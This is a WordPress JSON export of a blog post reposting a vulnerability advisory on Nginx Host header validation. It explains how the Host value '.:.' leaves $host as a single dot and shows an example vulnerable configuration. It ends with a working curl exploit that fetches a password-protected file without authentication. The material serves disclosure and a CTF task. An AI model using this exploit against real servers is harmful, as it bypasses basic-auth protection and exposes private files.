{"id":56427,"date":"2024-04-24T19:40:40","date_gmt":"2024-04-24T15:40:40","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178250\/nginx1255-hostvalidation.txt"},"modified":"2024-04-24T19:40:40","modified_gmt":"2024-04-24T15:40:40","slug":"nginx-1-25-5-host-header-validation","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/nginx-1-25-5-host-header-validation\/","title":{"rendered":"Nginx 1.25.5 Host Header Validation"},"content":{"rendered":"<p># Nginx =&lt; 1.25.5 $host variable validation bug<\/p>\n<p>## Intro:<\/p>\n<p>In the &#8220;Host&#8221; header sent to Nginx web server you can&#8217;t just insert a dot or something like that, because a filtering rules exists there. <br \/>The ngx_http_validate_host function is responsible for filtering (https:\/\/github.com\/nginx\/nginx\/blob\/master\/src\/http\/ngx_http_request.c#L2145).<\/p>\n<p>## What it validates:<\/p>\n<p>+ \ufeff\ufefftwo dots in a row are not allowed<br \/>+ colon and everything after it are stripped off<br \/>+ \ufeff\ufeffif &#8220;Host&#8221; header starts with &#8220;[&#8220;, then after &#8220;]&#8221; everything is deleted<br \/>+ \ufeff\ufeffpath separators are not allowed<br \/>+ \ufeff\ufeffcannot send chars \u2264 0x20 and == 0x7f<br \/>+ \ufeff\ufeffif there is a dot at the end, it is removed<br \/>+ \ufeff\ufeffif after all deletions the host length is zero, error occurs<\/p>\n<p>## The bug itself: <\/p>\n<p>dot_pos can be greater than host_len, if the last dot is included in the strip, then the last unstripped character (first dot in this case) is not deleted.<\/p>\n<p>So, if &#8220;Host&#8221; header payload is .:. , the colon and dot after it are stripped, but the first dot remains untouched and Nginx $host variable now contains only single dot character, what can&#8217;t be done in the normal conditions.<\/p>\n<p>## Vulnerable Nginx server configuration example:<\/p>\n<p>server {<br \/>root \/sites\/$host;<br \/>index index.html;<br \/>server_name _;<\/p>\n<p>location \/ {<br \/>try_files $uri $uri\/ =404;<br \/>}<br \/>}<\/p>\n<p>server {<br \/>server_name &#8220;&#8221;;<\/p>\n<p>location \/ {<br \/>return 418 &#8220;I&#8217;m a teapot.&#8221;;<br \/>}<br \/>}<\/p>\n<p>server {<br \/>root \/sites\/protected-host.example.com;<br \/>index flag.html;<br \/>server_name protected-host.example.com;<br \/>auth_basic &#8220;Protected File Storage&#8221;;<br \/>auth_basic_user_file \/.htpasswd;<\/p>\n<p>location \/ {<br \/>try_files $uri $uri\/ =404;<br \/>}<br \/>}<\/p>\n<p>## Exploit (unauthorized access to password-protected host in this case):<\/p>\n<p>curl -H &#8220;Host: .:.&#8221; http:\/\/protected-host.example.com\/protected-host.example.com\/flag.html<\/p>\n<p>P.S.<br \/>The bug was sent to security-alert@nginx.org, but the Nginx dev team said that ngx_http_validate_host function is a filter against fools and not a security bug at all, so it was decided to make it as a task on CTF Tinkoff contest.<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Nginx =&lt; 1.25.5 $host variable validation bug ## Intro: In the &#8220;Host&#8221; header sent to Nginx web server you can&#8217;t just insert a dot or something like that, because a filtering rules exists there. The ngx_http_validate_host function is responsible for filtering (https:\/\/github.com\/nginx\/nginx\/blob\/master\/src\/http\/ngx_http_request.c#L2145). ## What it validates: + \ufeff\ufefftwo dots in a row are not &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56427","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56427","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56427"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56427\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56427"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56427"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56427"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}